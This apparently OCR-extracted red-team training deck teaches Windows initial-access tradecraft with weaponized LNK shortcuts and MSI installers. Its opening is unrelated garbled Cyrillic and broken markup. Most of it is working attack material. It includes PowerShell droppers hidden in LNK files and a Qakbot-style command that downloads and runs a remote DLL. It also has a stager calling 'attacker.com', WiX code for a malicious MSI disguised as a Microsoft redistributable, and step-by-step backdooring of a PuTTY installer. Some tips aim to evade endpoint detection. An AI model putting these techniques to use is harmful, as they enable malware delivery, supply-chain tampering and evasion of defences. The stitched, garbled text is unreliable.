" - name tem. alue="273,1,1">
Jns ygacTHs B onIaiiH-hopMaTe HeoOXOAHMO 32paHee

3aPErHCTPHPOBATHCA 110 ¢

htty

Tlpn perncTpanun o8A3aTeNEHO VKasmBaiiTe momHocTeio $HO, nomknocTs

H opraHEsanmio. Ilocne perncrpaunn Bel moaydMre 3MeKTpOHHOE MHCEMO C
TIOATEePEIEHAEM, COJREAmee HHGOPMATHIO 0 EX0/e E KOHDEPEHITHID
IlogaTk 3a#EKY HA 0YHOE Y4acTHe BRI MOXeTe N0 VE3IaHHEIM HHEE
KOHTaxTaM, vkasae Bamm $HO. 70m&HOCTE H OPTaHHIANAK.
HTakTHOe anno: Mena Koctko Mod /WhatsApp: +7 (926)-472-41-19_ e-
mail: i kostko@russian-chinese.com

ommand"
Button" -
ftOmtlook ftr &mot:3%coMSPect fo s*tha*rt /&
start&gquot; /E":

OEOJHTENS CEKpeTapHaTa
Poccmiicko-Kutafickoro Kounrera
Apy#0El, MHPA H PA3EHTHA 0. T. Kanpasoea

function(_
=function(_


https://twitter.com/fmc_nan/status/1639175633019478017?t=xNzfCLn4_CvAVWzvoOTqVQ&s=19
https://twitter.com/fmc_nan/status/1634020711097585664?t=Lm4sVtUTYS7bOdjc7wP9GQ&s=19
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Typical Vectors - LNKs e =

This is your chance To try t
cutting edge Technology used by
~~~~ Best hackers in the world

Clever use of shortcut files

Still a popular threat, especially in Phishing campaigns

» lnk & url - Link e e —
R oo

\pplication Tools

Detection depends on what you run tools » _RED,

& foo Properties

Terminal Security
General Shorteut

Techniques that may actually work: ﬂ )
2

Targettype: Applicati

» EXE embedded into LNK / https://www.x86matthew.com/view post?id=embed exe 1lnk

Targetlocation: system32

Target
» ZIP embedded into LNK (works against aggressively configured MDE)
Startin
» Run Two Files Shotcutkey:  [Nome

» Copy DLL then Run File Run Minimized

Comment .Type Text DocumentSize: 5.23 KBDate modified: D]."I|

Open File Location Change Icon... Advanced..

Attached password-protected LNK file collects
Thr_ead hijacked email zipped 1SO containing volume serial number, LNK executes
with invoice theme Ink and .dlI machine ID, and MAC Address Bumblebee DLL

ISO
« powershell.exe” iwr % @ ;, %
LNK Qakbot https://green-a-thon.com/LosZkUvr/B.png -OutFile « "%windir¥%\system32\regsvr32 exe" &
. Senv:.TEMP\file20.dII;Start-Process regsvr32 %TEMP%\file20.dll

Senv: TEMP\file20.dll



https://www.x86matthew.com/view_post?id=embed_exe_lnk

Classic file infection vectors »

Typical Vectors - LNKs

Produced LNK file contents (size: 15131):

Target : %WINDIR%\System32\cmd.exe
. Arguments
» We can ZIP our macro-enabled Office payloads
/c powershell -windowstyle hidden $sfixturesl = dir *.1lnk ~| ? {$_
eadAllBytes($sfixturesl);$wgroovex = ‘%TEMP%\tmp' + (Get-Random) + '.zip';$wgr
» And then append that ZIP to LNK rectoryName($wgroovex); [System.I0.File]: :WriteAllBytes($wgroovex, $ftransmissi
ath . -EA SilentlyContinue -Force ~| Out-Null;del -Path $wgroovex -EA Silently
Working Dir :
3 . Description : Type: Document\nSize: 258.77 KB\nDate modified: 20822-89-29
» .
Set LNK Wlth POWQPShell that Icon Path : C:\Windows\System32\shell32.d11,23
Window Mode : Minimized

» Extracts ZIP bytes out of itself and saves that ZIP to %TEMP%

Now, when you click on produced LNK, it will:

» Extracts all the files from ZIP

1. Extract ZIP archive from itself (from inside of LNK)
» Launches just extracted Office document from the ZIP 2.5 Dropithat  ZIP to “ATEMPA\LMP® + (Get-Random) + *.zip
3. Extract it there
4. Run .\calc.xlsm
. 5. Remove that .zip file
» Office document launches
=> no MOTW set
Delayed Magic at offset zero,
Any offset Cavities start tolerated appended data
=> macros can be enabled.
PIDT PM BBCCEEFFGGIIIIJINOPL
z DSCA SP R APBLL1IZCCDLPPEGSNIEN
» LNKs can be Polyglot-ted with HTA/ISO/PDF/ZIP/RAR/7z <+—— R FOMR 4 P2BIMFVaF CO03D26SGDK G
oL c v A

2
Zip XXX OX XXX OXX O OXXXXXXXXXXXXXXXXXXXXXXX
7Z X. XX XXXX XX XXXXXXXXXXXXXXXXXXXXX|XX
» just hunt for LNKs containing CMD or Powershell.: | Ar] i
RAR X X XXXX XX XXXXXXXXXXXXXXXXXXXXX[XX

» C:\Windows\System32\cmd.exe /v /c [...]

PDF XXXX XXX XX XXXXXXXXXXXXXXXXXXXXX[XX
» Powershell.exe -w hidden -ep bypass -c [...] IS0 XXXX X . XX XX XXXXXXXXXXXXXXXXXXXXXXX
DCM XXXX XX XX XXXXX XXXXX XXXXXXXX [XxX
» Macros will still be subject to enabling at user’s discretion TAR  XXXX XX XX X XX XX X Xxxxx xx_| x



»

»

»

»

Classic file infection vectors »

LNK Weaponization

Use Icons for your LNKs

»  take a look at ,,repo\Exercises\dayl\Exercise 5 - LNKs\Paths-To-Icons.txt” for a list of typical icons

Prepend your parameters with 512 spaces to overflow

Explorer’s Properties preview window
Beware of LNKs disclosing your Hostname & MAC Address - inspect with LEcmd!

Always run your target through a LOLBIN:

»  C:\Windows\System32\conhost.exe conhost conhost conhost conhost conhost

conhost powershell [..]

- @
A

>> Tracker database block

Machine ID: dedicado-web

accicons.exe dbcicons.exe
MAC Address: ©0:26:b9:fd:el:82
MAC Vendor: DELL &
. - . . https://bitofhex.com/2019/07/15/deriving-intelligence-
Creation: 2019-083-21 ©4:28:56 from-1nk-files/
# Microsoft office misc.exe ohub32.exe

access = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\accicons.exe"

excel = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\x11icons.exe"

Tync = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\1yncicon.exe"

office = "%PROGRAMFILES%\Microsoft office\root\vfs\Windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\ohub32.exe",56

onedrive = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\grv_icons.exe"

onenote = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\joticon.exe"

outlook = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\outicon.exe"

powerpoint = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\pptico.exe"

proqect = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\pjllicon.exe"

publisher = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Insta11er\{90160000—000F—OOOO—lOOO—OOOOOOOFFlCE?{pubs.exe"

visio = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\visicon.exe" . b
word = "%PROGRAMFILES%\Microsoft office\root\vfs\windows\Installer\{90160000-000F-0000-1000-0000000FF1CE}\wordicon.exe" pplico.exe pubs.exe

Installer > {90160000-000F-0000-1000-0000000FF1CE}

S autoruns64-embed-zip Properties

Terminal

General

File Hashes
Shortcut 0]

X

Security Details Previous Versions

ptions Font Layout

autoruns64-embed-zip

Target type: Application

Target location: System32

Target:

Start in:

Shortcut key: None

Run:

Comment:

Minimised

Colours

T DocumentSize: 626.35 KBDate modified: 20

Open Eile Location

graph.ico

osmadminicon.e
xe

¥ (]
(]

sscicons.exe

grv_icons.exe

osmclienticon.ex
e

Vv

visicon.exe

Change lcon...

Advanced...

DS

joticon.exe

o}

outicon.exe

0
W

wordicon.exe

lyncicon.exe

.
P

pj1licon.exe

N
X

xlicons.exe


https://github.com/EricZimmerman/LECmd
https://bitofhex.com/2019/07/15/deriving-intelligence-from-lnk-files/
https://bitofhex.com/2019/07/15/deriving-intelligence-from-lnk-files/

Classic file infection vectors »

Target ¢ %ZWINDIR%\System32\cmd.exe

LNK Weaponization

/c powershell -windowstyle hidden $nagenciesp = dir *.1lnk ~| ? {$_.length -eq 00391272} ~| select -ExpandProperty FullName;$utulsag = [system.io.file]::ReadAllB
lytes($nagenciesp);$rbanx = '%TEMP%\tmp' + (Get-Random) + '.zip';$rbanx = [Environment]::ExpandEnvironmentVariables($rbanx);$xsmilek = [System.IO.Path]::GetDirectoryName($rb
anx) ; [System.IO.File]::WriteAllBytes($rbanx, $utulsag[ 3186..($utulsag.length)]);cd $xsmilek;Expand-Archive -Path $rbanx -DestinationPath . -EA SilentlyContinue -Force *|
Out-Null;del -Path $rbanx -EA SilentlyContinue -Force ”| Out-Null;~& .\Autorunsé4.exe

Working Dir :
» CMD/ POWE rs he 1 ]. ba ) ed att acC kS Description : Type: Document\nSize: 626.35 KB\nDate modified: 2822-18-12
Icon Path H ’\
. Window Mode : Minimized
/I » embed-zip

[.] Produced LNK file contents (size: 1665):
2 » cmd-run-two

Target : XWINDIR%\System32\conhost.exe
Arguments : --headless conhost conhost conhost conhost “"%COMSPECX" "/c xcopy /Y /H /G /I desktop.xlam %APPDATA%\Microsoft\Excel\XLSTART | Report.pdf "
2 ps—dns—stager‘ Working Dir :
Description : Type: Document\nSize: 517.40 KB\nDate modified: 2023-91-38
Icon Path : %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe,13 2
» Example of Polyglot LNK Window Mode : Minimized
3 » poly-Ink-nta [.] Produced LNK file contents (size: 1513):
» Unusual URI Scheme (URL) Target : %WINDIR%\System32\conhost.exe
Arguments : --headless conhost conhost conhost conhost "%COMSPEC%" "/c Report.pdf | WFS.exe "
\{ - ffice-sch Working Dir :
SIS e s Description : Type: Document\nSize: 621.59 KB\nDate modified: 2023-01-30
Icon Path : %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe,13
» .URL abuse Window Mode : Minimized 1
6 » url-file Target : %WINDIR%\System32\cmd.exe
Arguments 3

/V/D/c "s"e”t wbombl=%TEMP%\tmpiaXhm.hta&&s"e’t fregimep=msFOBIhFOBIta&&s”"e”t selementaryp="!fregimep:FOBI=!"&&copy /Y poly-lnk-hta.lnk !wbombl! | s~t"a’r~t /
B m"s*h~t”a !wbombl! | sleep 2 && del !wbombl!"
Working Dir :

J [.] URL file contents: [.] URL file contents:
» Exercise 5: 5 i
» Produce embed-zip LNK with Your-Malware.exe [{e00214A8-0008-0000-COP0-0080000000846} ] [{ee08214A0-0000-0000-CO00-000000000046} |
° Prop3 : 19,9 Prop3 : 19,0
» repo\Exercises\dayl\Exercise 5 - LNKs [InternetShortcut] [InternetShortcut]
IDList : IDList :
\embed-Zip\gener‘ator‘\gen-embed-zip,exe URL : file:///C:/Windows/System32/calc.exe URL : ms-excel:ofv|u|http://localhost:8000/calc.xlsm




TACTIC & Execution via User Execution
Classic file infection vectors » TECHNIQUE

TECHNIQUE ID T1204

LNK Weaponization

IOA NAME SuspiciousLinkFileExecuted

IOA DESCRIPTION A suspicious LNK file was executed. Adversaries
» Example LNK-native (requiring singte ..nk) infection strategies may lure users into executing malicious LNK files

by disguising them as innocuous documents.
» LNK embed-zip infection chain (not picked up by MDE!): Review the process tree and the LNK file.

LNK -> CMD -> Powershell -> Drops .ZIP to %TEMP% OROUEING TAGE

-> extracts its contents there -> runs .EXE file

LOCAL PROCESS ID

COMMAND LINE "C:\Windows\System32\cmd.exe" /c powershell -
-windowstyle hidden $Swheatherj = dir *.Ink *| ?
{$_.length -eq 00395258} | select -ExpandPro
perty FullName;$aeasierf = [system.io.file]::Rea
dAllBytes($wheatherj);$ijimg =" 1|
-> that JS runs Getobject(,,script:https://attacker.com/evil.wsc”) [ ]+(cet-Rando

m) + '.zip";Sijimg = [Environment]::ExpandEnvir

» WSC Stager:

» LNK -> CMD -> drops .JS file to %TEMP%

onmerfitVariables($ijimg);$cdnsg = [System.|O.P
ath]:GetDirectoryName(S$ijimg);[System.IO.Fil

el:WriteAllBytes($ijimg, Saeasierf[ 3729..(Saeas
ierf.length)]);cd $cdnsg;Expand-Archive -Path

$ijimg -DestinationPath . -EA SilentlyContinue -
Force *| Out-Null;del -Path Sijimg -EA SilentlyC
ontinue -Force *| Out-Null;"& \[___ Jexe, & .\

[ Jdocx

FILEFALH \Device\HarddiskVolume3\Windows\System3  [G)

2\cmd.exe

December, 2022 - our beloved embed-zip LNK gets whacked by CrowdStrike ®
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MSI Shenanigans

MSI installer can be built with WiX toolset, which brings us

several interesting Offensive properties.

There is <CustomAction> tag letting us run .DLL, .EXE,

s Image type: AMD64 (64-bit)

will match following hierarchy < ¢

WIX TOOLSET

THE MOST POWERFUL SET OF TOOLS AVAILABLE TO

CREATE YOUR WINDOWS INSTALLATION EXPERIENCE.

VBScript/Jscript
=
MO reover: Environment  Handles Services G Disk and Network ~ Comment ~ Windows
General Statistics Performance Threads Token Modules Memory
»  After installing package, extracting executables and then running one Refresh & File .
Processes Se ’ﬁ ) X staller
» we can safely uninstall MSI, Name Lol
@5 ||
» leaving launched executable running without a file on HDD (!) s [ |
s ]
q A . A fmis B
» MSI can run inner VBScript/JScript in-memory = ]
Process
% f Command line: =
. . . . ]
»  MSI can run inner .NET assembly in-memory (in .DLL file) ] | Curent divectry: B
. . . . s Started: .
»  MSI can run inner EXE file by extracting it to EHIS | | porent consale: |
= ent console: B
C:\Windows\Installer\MSIXXXX.tmp [Wlg | Parentp o — [ |
L Mitigation policies: ~ DEP (permanent); ASLR (high entropy); CF Guard Details =
s -

»  when running EXE, parent-child relationship will be dechained and [Wig | | Protedion: None Permisslons | | Terminate [
| |
| |
| |

$ S

[W]svchost.exe 17016

T MSI8244.tmp (52976) Properties O X

Environment Hai

ndles  GPU Disk and Network ~ Comment ~ Windows

General Statistics Performance  Threads Token Modules ~ Memory

File

E Aulas-laﬂ pmglam- viewer

Vi n: 13.100

Image file nam

4

lume7\Window taller\MSI8244.tmp

\Device\Hardd
Process
Command line:
Current directory:
Started:
Parent console:

Parent process:

"C:\WINDOWS\Installer\MSI8244.tmp"
C:\WINDO! em32\

a minute and

m e (30868)

30868)

Mitigation policies: ~ DEP (perman ASLR (high entropy) Details

Protection: None ‘Pelm mns‘ Terminate
Image type: AMDG64 (64-bit)

1.46 MB ZARZADZANIE NT\SYSTEM

~ Tl msiexec.exe 30868

Pare

4036
41

[m]Lsalso.exe

[m]Isass.exe

1056

[m] fontdrvhost.exe

11

[W] csrss.exe

> [@]winlogon.exe

nt-Child hierarchy:

@ explorer.exe
276 msiexec.exe

wininit.exe

44 services.exe

30868 msiexec.exe
52976 MSI8244.tmp

YL

AR I I I I BN
I LIS EL



https://wixtoolset.org/
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MSI Shenanigans

» L MSI - compound storage file format devised +/- 1995,

comprising of a set of Databases structured in OLE streams
»  .MSP - Windows installer patch file
»  .MSM - Windows merge module installer's file (not usable)
»  .MST - Windows installer transformation file (can be usable ;> )

» Files are stored in .CAB archives, that are bundled into MSI’s Media table

https://robmensching.com/blog/posts/2003/11/25/inside-the-msi-file-format/
https://github.com/activescott/lessmsi
https://www.technipages.com/download-orca-msi-editor

PS D:\dev2\msidump> python .\msidump.py .\evil2.msi

version: @.1a
author : Mariusz Banach (mgeeky, @mariuszbit)
<mb [at] binary-offensive.com>

Analyzing : D:\dev2\msidump\evil2.msi

Fmmmmmm e e e e e e e e +
| threat | location | context | description |
Fmm e it i e +
| | CustomAction table | - action : SetTtjuzJsbDq | Will set Directory to a specific path |
| | | - type :51 | |
| | | - source : TtjuzlsbDq | |
| | | - target : | |
| | | | |
| | CustomAction table | - action : fdpcc | Will extract executable from inner Binary table, drop it to: |
| | | - type 1 194 | C:\Windows\Installer\MSIXXXX.tmp |
| | | - source : | and then run it. |
| | | - target : | EXE is located in Binary table record. |
| | | | |
fmmmmmmmm————— frmmmmmmmmm e — e ——— e mmmemmeeemeemeeeeeeeeemee—ee—————— e e e mmmee e eeemeeesmeemeeeeeeemeeeee———————— +
Verdict:

8 Less MSlérables

File Edit About

» To dissect & extract contents from .MSI - we can use lessmsi or ORCA or msidump (my own ~.”) File:  D:\sample2-run-calc-script.msi

utilities (all available in: repo\tools )

85 Less MSlérables

»  ORCA & MSISnatcher lets us backdoor existing MSI files S
ne I

File: D:\beacon.msi

cmd> lessmsi o evil.msi Extract Files

Open MSI in GUI browser:

Name

Dump MSI Property table in CLI: cmd> lessmsi 1 evil.msi -t Property
Dump Directory table = installation directories cmd> lessmsi 1 evil.msi -t Directory
Dump File table = executables & files to be installed cmd> lessmsi 1 evil.msi -t File

Dump Custom Actions table = pre/post install actions cmd> lessmsi 1 evil.msi -t CustomAction
Dump Binary data table = executables stored inside MSI cmd> lessmsi 1 evil.msi -t Binary
Extract all files from MSI: cmd> lessmsi x evil.msi C:\Extract

Select All

Directory

besconah | Sowcadi—Lopomwar 7562 10000

Unselect All

Extract Files Table View Summary Streams
Table  CustomAction

Action y Source

(i2) (S72)

(s72)
Sl s<txsLpNP 51 [XslphLPr

gicDej 1126

Target (5255)
[%6LOCALAPPDATA]\VcRedist

On Error Resume NextSub obf_GeneratorEntryPoint() obf_LaunchCommand “calc"Eng

85! Less MSlérables

Summary Streams

File Edit About

Component Size Version . . R
P File: D:psamplel-run-autorunsé4.msi

Extract Files Table View Summary Streams

Name
Title Installation Database
Subject Microsoft Visual C++ 2013 Redistributable (64) - 12.0.49038
Author Microsoft Corporation
Keywords Installer
Comments This installer database contains the logic and data required to
Template Intel; 1033
Last Saved By
{39BA10DD-8BF0-4A51-B85E-98FDECA0831C}

Extract Revision Number

Last Printed


https://github.com/activescott/lessmsi
https://www.technipages.com/download-orca-msi-editor
https://github.com/mgeeky/msidump
https://robmensching.com/blog/posts/2003/11/25/inside-the-msi-file-format/
https://github.com/activescott/lessmsi
https://www.technipages.com/download-orca-msi-editor
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MSI Shenanigans »

o5 Manual MSI #1: run-exe

Step 1 (compiles WXS into WIXOBJ): repo\Tools\wix\candle.exe project.wxs -arch x64

Step 2 (links WIXOBJs into MSI): repo\Tools\wix\light.exe -ext WixUIExtension -cultures:en-us -dcl:high -out evil.msi project.wixobj

<Wix xmlns="http://schemas.microsoft.com/wix/26@6/wi">
<Product Name="Microsoft Visual C++ 2013 Redistributable (64) - 12.0.39659"
Manufacturer="Microsoft Corporation" Id="+*" UpgradeCode="56593721-F306-4163-B356-314B36826411" Language="1033" Version="12.0.39659">

<Package Manufacturer="Microsoft Corporation"” InstallerVersion="408" Compressed="yes"/>

1. <Binary> tag specifies EXE to include in CustomAction

<!-- Hide application from Control Panel programs list -->
<Property Id="ARPSYSTEMCOMPONENT" Value="1"/>

<!-- Remove repair button -->

(Froperty TOSTARPIOREPAIRT Veluestyest Securestyest/> project.wxs 2. <CustomAction> mandates what to do before/during/after
¢!-- Remove modify button -->
<Property Id="ARPNOMODIFY" Value="yes" Secure="yes"/> installation. Her\e we say: ,,r\un -this EXE .File"‘

<Media Id="1" Cabinet="fJZJXps.cab" EmbedCab="yes" CompressionLevel="high"/>

<SetDirectory Id="TtjuzlsbDq" Value="[%LOCALAPPDATA]\VcRedist"/>

<1-- Step 1: Define the directory structure --> 3. Then we need to specify order to actions and when they are to
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="TtjuzJsbDq"/>

</Directory> kick in (here, when-not-removing)

<!-- Step 2: Add files to your installer package -->
<DirectoryRef Id="TtjuzJsbDq">
<Component Id="gomssWwSQ" Guid="AA@FBF6B-45F7-443D-8835-BDF4F3E57D47">
<RemoveFile Id="ONAFVMRYK" Name="*.*" On="uninstall” Directory="TtjuzdsbDq"/> 4., Ther\e has to be at 1east one, dummy -File added to MSI
<File Id="gomssWwSQ" Source="dummy.txt" KeyPath="yes"/>
</Component>

</DirectoryRef> inStaller‘

<l-- Step 3: Tell WiX to install the files -->
<Feature Id="MainProgram" Title="Microsoft Visual C++ 2013 Redistributable (64) - 12.8.39659" Level="1">
<ComponentRef Id="gomssWwSQ"/>

e 5. Example of how we can hide our Package from ,,Add/Remove
<l-- Step 4: Post-Install actions -->
<Binary Id="lmskBju" SourceFile="Autoruns64.exe"/> Pr\ogr.ams-‘) list

<CustomAction Id="fdpcc" Execute="deferred" BinaryKey="lmskBju" Return="asyncNoWait" ExeCommand=""/>

<InstallExecuteSequence>
<Custom Action="fdpcc" Before="InstallFinalize">NOT REMOVE</Custom>
</InstallExecuteSequence>
</Product>
</Wix>



MSI Shenanigans »

92 Manual MSI #2: dotnet

» To include custom .NET DLL in CustomAction, that DLL must have specific adnotation and reference Microsoft.Deployment.WindowsInstaller.dll

» 1. (optional) Use rogue-dot-net\generateRogueDotNet.py to compile custom .NET DLL based off shellcode:
py repo\Tools\rogue-dot-net\generateRogueDotNet.py -M --dotnet-ver v2 -t plain -s CustomAction -n CustomActions -m MyMethod -r -c x64 -o CustomAction.dll beacon64.bin

» 2. Create self-extractable, standalone .NET CustomAction DLL with WiX’s MakeSfxCa:
repo\Tools\wix\MakeSfxCA.exe CustomAction.CA.dll repo\tools\wix\x64\sfxca.dll CustomAction.dll repo\tools\wix\Microsoft.Deployment.WindowsInstaller.dll

» 3. compile WXS into WIXOBIJ:

repo\Tools\wix\candle.exe project.wxs -arch x64

» 4. link WIXOBJs into MSI:

repo\Tools\wix\light.exe -ext WixUIExtension -cultures:en-us -dcl:high -out evil.msi project.wixobj

i 24 </Directory>
using System; 25
us%ng System: Collections Generic) 26 <l-- Step 2: Add files to your installer package -->
HEing SR 27 <DirectoryRef Id="oNIVhFVOE">
Uil SysEm- s 28 <Component Id="aTJpgGb" Guid="E39E2074-57D8-4B05-A133-7A2CAAC70149">
; pL] <RemoveFile Id="nZYLoKsVA" Name="*.*" On="uninstall" Directory="oNIVhFVOE"/>
30 <File Id="aTJpgGb" Source="dummy.txt" KeyPath="yes"/>
31 </Component>
namespace CustomAction 32
{ 33 </DirectoryRef>
public class CustomActions 34
{ 35 <!-- Step 3: Tell WiX to install the files -->
“ 36 <Feature Id="MainProgram" Title="Microsoft Visual C++ 2013 Redistributable (64) - 12.0.18784" Level="1">
pu ctionResult MyCustomAction(Session session) 37 <ComponentRef Id="aTJpgGb"/>
{ 38 </Feature>
1 39
// Your malware actions... 40 <l-- Step 4: Post-Install actions -->
1/ 41 <Binary Id="spVWTkK" SourceFile="CustomAction.CA.d11"/>
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 42 <CustomAction Id="giuqGI" BinaryKey="spVWTkK" D1lEntry="wrFbQbHPwsu" Return="ignore"/>
proc.StartInfo.FileName = "C:\\windows\\system32\\calc.exe"; 43 ——
proc.Start(); 44 <InstallExecuteSequence>
45 <Custom Action="giugGI" Before="InstallFinalize">NOT REMOVE</Custom>
return ActionResult.Success; 46 </InstallExecuteSequence>
} 47
} 43 </Product>
} 49 </Wix>

%WINDIR%\Microsoft.NET\Framework64\v2.0.58727\csc. exe_lta rget:library /out:CustomAction.dll Program.cs”



MSI Shenanigans »

MSI-as-a-vector: Caveats Apply

= Hosting fake installer files on legitimate-looking software download sites and legitimate

repositories to make malicious downloads look authentic to targets, and

https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-
ransomware-various-payloads/

» OPERATIONALISE-wise:
» If MSI has MOTW on it,
» ISO(MSI), HTML(ISO(MSI)) don’t help either.
»  Regular Windows Defender on PCs/laptops and its SmartScreen doesn’t seem to intervene.

» However other EDRs/AVs that don’t support MOTW (SentinelOne, CrowdStrike?) may be susceptible

» DESIGN-wise:

» To target your MSI against specific platform/architecture, use Package/@Platform=,,x64/x86":
»  <Package [..] Platform=,x64” />
» Or use ,candle.exe [..] —arch x64” - specification of -arch in candle.exe seems to override Package/@Platform setting.

» MSI vs UAC: To make your .MSI install without Local Admin privileges, use following in your .WXS:
»  <Package [..] InstallPrivileges=,,1imited” InstallScope=,,perUser” />
»  <CustomAction [..] Impersonate=,yes” />

» CustomAction/@Return needs to be asyncNoWait to launch your action in the background, without stalling Windows Installer. However:
» We can’t have Return=,,asyncNoWait” if there’s D1llEntry specified (they’re mutually exclusive). Affected weaponization ideas: Script, Dotnet, DLL

» In that case set Return=,ignore” and beware your action WILL make Windows Installer await for it to complete, blocking all further installations


https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/
https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/

MSI Shenanigans »

How to work with MSI?

» Pulse: Install -> wait -> uninstall

» evil.msi /q && sleep 5 && msiexec /q /x evil.msi

e INSTALLATION
1. By simply double-clicking on it
2. Quietly from command line: cmd> evil.msi /q
3. Through COM (here VBScript):
With CreateObject("WindowsInstaller.Installer")
.UILevel = 2

.InstallProduct("evil.msi™)
End With

Microsoft Visual C++ 2013 Redistributable (64) - 12.0.23193

Please wait while Windows configures Microsoft Visual C++ 2013
Redistributable (64) - 12.0.23193

Cancel

* UNINSTALLATION
1. Quietly from command line: cmd> msiexec /q /x evil.msi
2. Through COM (here VBScript):
With CreateObject("WindowsInstaller.Installer")
.UILevel = 2

.InstallProduct "evil.msi", "REMOVE=ALL"
End With



MSI Shenanigans »

o5 Practice time!

»

»

p2

~

~
<

~

>

Time for exercise!
Test how supplied MSI installers work by checking them out in Exercises\dayl\MSI Shenanigans.

Generate your own with MSIR.EXE

» Test #1: Run EXE of your choice via MSI run-exe

» Test #2: Run shellcode of your choice via MSI dotnet

Exercise #1: Compile your own Run-Exe MSI

Exercise #2: Compile your own Dotnet MSI

(OPTIONAL) Exercise #3: Backdoor Putty installer so that it runs Calc upon installation



~
~

MSI Shenanigans » CustomAction Type

o5 Backdooring existing MSIs

|(j |[] JScript 1125

Run EXE 1218

Adjusting MSI boils down to modifying existing MSI tables. R
Dotnet 65

»

»

»

»

We can Add Rows to existing MSI tables thus backdooring such MSI

Run dropped file 1746

Adding new Files / Updating existing can be lifted off with SuperORCA or MsiDB.exe

Files that we wish to run in-memory (.NET dlls, DLLs, VBScript/Jscript) we put them into Binary table

Here are the most offensively interesting tables in MSI:

»

»

»

»

»

»

»

»

»

Binary - Table that holds binary data in-memory during MSI installation. We abuse it to run .NET, DLLs, EXEs in-memory
CustomAction - Actions to perform pre/post installation, such as run EXE, command, VBScript
Custom Action types are defined here but in practice they get inferred by Logic OR-ing flags: Type = flagl | flag2

InstallExecuteSequence - sequence-ordered list of actions that take place during installation.

» We typically want to position our CustomActions between 6400...6600 (PublishProduct..InstallFinalize)
InstallUISequence - sequence-ordered list of installation Wizard / UI views and transitions.
File - Files to be extracted into system (stored in CAB), we can add our malware payloads so it can extracted too
Component - Describes into which directory should file be extracted
Media - CAB files inside of MSI, along with their startSequence..LastSequence numbers (telling in which CAB file is located)
Registry - Contains all registry keys & values to be created, we can modify registry upon installation

Shortcut - Scatters LNKs all around the system, we can introduce rogue .LNK in there

https://stackoverflow.com/questions/126562/how-to-replace-a-file-in-a-msi-installer



https://learn.microsoft.com/en-us/windows/win32/msi/summary-list-of-all-custom-action-types
https://stackoverflow.com/questions/126562/how-to-replace-a-file-in-a-msi-installer
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Manually Backdooring existing MSIs

MSI Backdoor Exercise #1: Manually introduce CustomAction with ORCA

Backdoor putty-0.67-installer.msi using ORCA so that it runs ,,calc” upon installation

Step 0: Copy repo\Exercises\dayl\MSI Shenanigans\backdoor\putty-0.67-installer.msi to putty-0.67-backdoored.msi
Step 1: Open repo\tools\ORCA\orca.exe and then open putty-0.67-backdoored.msi file inside of ORCA
Step 2: Tables -> CustomAction -> then Right click -> Add Row
»  Action = Whateverl
»  Type = 1250
INSTALLDIR

» Source

»  Target = calc
Step 3: Tables -> InstallExecuteSequence -> sort table by ,,Sequence” column -> Add Row

»  Action = Whateverl

»  Condition = NOT REMOVE

» Sequence = 6599 or any available number between 6400 (PublishProduct) and 6600 (InstallFinalize)
Step 4: File -> Save As.. -> putty-0.67-backdoored.msi
Step 5: Test if it works: _ ;.'“ ® ‘QE

Action Condition

T... Source Target ExtendedT...
WixUIWixca ValidatePath

INSTALL:

X

» Double-click putty-0.67-backdoored.msi

Source

UNINSTALL: I Targe

Directory _
Environment Extended Type

» msiexec /q /x putty-0.67-backdoored.msi [ -

Calc should pop when Putty installation completes. ©

InstallFinalize

Sequence
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Automatically Backdooring existing MSIs

MSI Backdoor Exercise #2: Use provided MSISnatcher to backdoor that MSI

It’s my non-public tool that automates 6 MSI backdooring primitives (quite nicely!)

MSISna

we wan

tcher needs to be told what kind of ,,attack” (weaponization primitive)

t to inject into MSI.

Then we need to supply --paraml .. --param4 according to --help output.

Examples:

Execute something during MSI installation:

cmd> python3 msisnatcher.py -i putty-installer.msi execute -1 calc putty-backdoored.msi

Run EXE dropped to C:\Windows\Installer\MSIXXXX.tmp and run it during installation:

cmd> python3 msisnatcher.py -i putty-installer.msi run-exe -1 malware.exe putty-backdoored.msi

Load DLL (or .NET DLL) during installation (MyMethod is a DLL exported function name to invoke):

Supported MSI attacks:

1. drop-files

Save file(s) to system with option to run them after install.

Attack Parameters:
--paraml - Path to file(s)/directory to be bundled into MSI and later dropped onto infected system.
--param2 - (optional) Run file #1 after installation. If neither --param2 nor --param4 are used, MSI wil
--param3 - (optional) Command line parameters for file #1
--param4 - (optional) Target directory where to drop file. Can be: --param4 "C:\Users\Public" or --param

. execute

Run specified system command(s).

Attack Parameters:
--paraml - Command #1 to run

. script

Run VBScript/JScript inside of msiexec.exe right after installation via CustomAction.

Attack Parameters:
--paraml - Path to VBscript/JScript file to execute
--param2 - Function name defined in script to be invoked.

. run-exe

Run Executable that will be extracted to C:\Windows\Installer\RANDOM.tmp and run by services.exe -> msiexec.exe

Attack Parameters:
--paraml - Path to executable to launched.
--param2 - (optional) Command line parameters for executable

. load-dil

Loads DLL into msiexec.exe during install via CustomAction D1lEntry.

